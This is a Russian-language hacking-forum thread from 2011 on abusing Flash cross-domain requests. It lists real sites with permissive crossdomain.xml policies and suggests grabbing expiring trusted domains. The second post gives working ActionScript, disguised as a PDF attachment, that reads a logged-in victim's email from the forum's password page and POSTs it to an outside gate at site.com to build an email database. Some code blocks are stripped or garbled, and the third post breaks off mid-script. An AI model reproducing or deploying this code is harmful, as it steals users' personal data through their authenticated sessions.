HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.10.2011, 03:16
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Уязвимость, которую я опишу в этой теме, является самой простой в обнаружении из всех багов клиентской части. Реализация атаки также никаких сложностей не вызовет. При всей этой простоте, уязвимость очень распространенная и достаточно опасная, так как админы сайтов не обращают на нее внимания, а у абсолютного большинства пользователей установлены flash-плагины в браузерах.

Перейдем к делу.

У flash-приложений есть возможность выполнения запросов к сайту (с куками пользователя) и чтения ответов сервера. На уязвимом сайте можно выполнить любые действия от имени авторизованного пользователя.

Вызов приложения со страницы сайта осуществляется с помощью html-тегов object или embed.



В отличие от подключаемых скриптов (script src), flash-приложение выполняется на том домене, где расположен файл, а не на сайте, с которого оно вызывается.

Расширение и Content-Type файла приложения не имеют никакого значения.

При "Content-disposition: attachment" приложение не выполняется в ИЕ, ФФ и Хроме. В опере все работает с любыми заголовками ответа.

То есть, уязвим любой сайт, позволяющий загрузить файл без искажений на свой домен.

Античат в качестве примера уязвимого сайта:

[тема в РОА уже удалена. надеюсь, все успели ее увидеть]

Политика кроссдоменной безопасности не позволяет просто так выполнять запрос к домену, отличающемуся от домена приложения.

Чтобы выполнить кроссдоменный запрос к сайту, необходимо наличие файла crossdomain.xml в корне. Полностью описывать формата файла и все тонкости настройки политик не буду. Сейчас нам нужны только строки вида:





Несложно догадаться, что это список доменов, с которых разрешены обращения к сайту.

Если нельзя залить свой файл на сам сайт, можно попробовать залить его на один из доверенных доменов.

Для примера возьму RuTube.

http://rutube.ru/crossdomain.xml

Рассмотрим 3 домена, с которых разрешены запросы:





1) Освобождающийся домен. Регаем и заливаем свое приложение.

Цитата:
Сообщение от None  
Домен iaamoscow2010.ru будет удален из реестра в связи с окончанием срока регистрации. Продление срока регистрации домена администратором домена невозможно.
Воспользуйтесь услугой RU-CENTER «Регистрация освобождающегося домена».
144$ (вероятная стоимость освобождающегося домена на вторичном рынке).*
2) Форум на поддомене (forum.kinopoisk.ru). Заливаем приложение в аттач.

3) Файлообменник на поддомене (files.mail.ru). После загрузки прямая ссылка на файл периодически обновляется, но это решается несколькими строками php-кода.

И последний случай. Когда flash-запросы разрешены с любого сайта



Тут без комментариев. Просто список сайтов.

1) Топ-150 по версии liveinternet.ru

gismeteo.ru

liveinternet.ru

kinopoisk.ru

kp.ru

directadvert.ru

ria.ru

rian.ru

smotri.com

loveplanet.ru

vesti.ru

fishki.net

radikal.ru

infox.ru

chatovod.ru

woman.ru

dom2.ru

sports.ru

rg.ru

infox.ru

zoomby.ru

kommersant.ru

soccer.ru

baby.ru

aif.ru

lifenews.ru

tvigle.ru

galya.ru

ixbt.com

moskva.fm

mk.ru

u-mama.ru

a1tv.ru

ati.su

2) Топ alexa.com

xvideos.com

babylon.com

zedo.com

about.com

youporn.com

icq.com

dictionary.com

3) Еще несколько сайтов, которые все знают

habrahabr.ru

kaspersky.ru

eset.ru

nod32.ru

mamba.ru

plirt.ru

connect.ua

mediatarget.ru

Продолжение следует...
 
Ответить с цитированием

  #2  
Старый 30.10.2011, 04:32
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Практическое использование уязвимости

Ниже приведен код простого приложения, которое парсит регистрационное мыло пользователя с forum.antichat.ru/profile.php?do=editpassword и отправляет на гейт site.com/achatmail.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]package

[/COLOR][COLOR="#007700"]{

[/
COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]display[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Sprite[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]events[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]import flash[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]net[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]URLRequestMethod[/COLOR][COLOR="#007700"];

public class
[/COLOR][COLOR="#0000BB"]Main[/COLOR][COLOR="#007700"]extends[/COLOR][COLOR="#0000BB"]Sprite

[/COLOR][COLOR="#007700"]{

public function[/COLOR][COLOR="#0000BB"]Main[/COLOR][COLOR="#007700"]() :[/COLOR][COLOR="#0000BB"]void

[/COLOR][COLOR="#007700"]{

var[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLRequest[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/profile.php?do=editpassword"[/COLOR][COLOR="#007700"]);

var[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]addEventListener[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]COMPLETE[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]completeHandler[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]);

}

private function[/COLOR][COLOR="#0000BB"]completeHandler[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]event[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]Event[/COLOR][COLOR="#007700"]) :[/COLOR][COLOR="#0000BB"]void

[/COLOR][COLOR="#007700"]{

var
[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]event[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]target[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]match[/COLOR][COLOR="#007700"](/[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]=\[/COLOR][COLOR="#DD0000"]"email\" value=\".+?\"/)[0];

mail = mail.slice(20, mail.length - 1);



var request : URLRequest = new URLRequest("
[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.com/achatmail.php");

[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"mail="[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]encodeURIComponent[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]mail[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]method[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]URLRequestMethod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]POST[/COLOR][COLOR="#007700"];

var
[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]URLLoader[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]loader[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]load[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]);

}

}

}[/
COLOR][/COLOR
При работе удобно использовать сервис wonderfl.net - онлайн-компилятор и редактор ActionScript.

Готовое приложение переименовываем в filename.pdf и грузим в аттач форума. Расширение PDF выбрано потому, что на ачате файл, загруженный в этом формате имеет Content-disposition: inline, что позволяет применять приложение для всех браузеров.

Для успешной отправки мыла на site.com, в корне сайта должен быть файл crossdomain.xml

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]



[/COLOR][/COLOR
(вместо forum.antichat.ru можно прописать *.antichat.ru или просто *)

Теперь на вставляем на страницу своего сайта

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR
и собираем базу мыл ачата

p.s.: не мешало бы закрыть баг. хотя бы сделать проверку первых 3 байт на "CWS" для загружаемых файлов
 
Ответить с цитированием

  #3  
Старый 30.10.2011, 22:53
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Проверка наличия flash-плагина в браузере

Не у всех пользователей бывают включены плагины. Кроссбраузерная проверка поддержки flash:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

function[/
COLOR][COLOR="#0000BB"]no_flash[/COLOR][COLOR="#007700"]()

{

var[/COLOR][COLOR="#0000BB"]result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"];

if([/COLOR][COLOR="#DD0000"]'\v'[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]'v'[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#FF8000"]// Только IE не поддерживает вертикальную табуляцию

[/COLOR][COLOR="#007700"]{

for(var[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][/COLOR][/COLOR
 
Ответить с цитированием

  #4  
Старый 23.09.2012, 12:30
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Перенесите в паблик (/forum31.html)
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.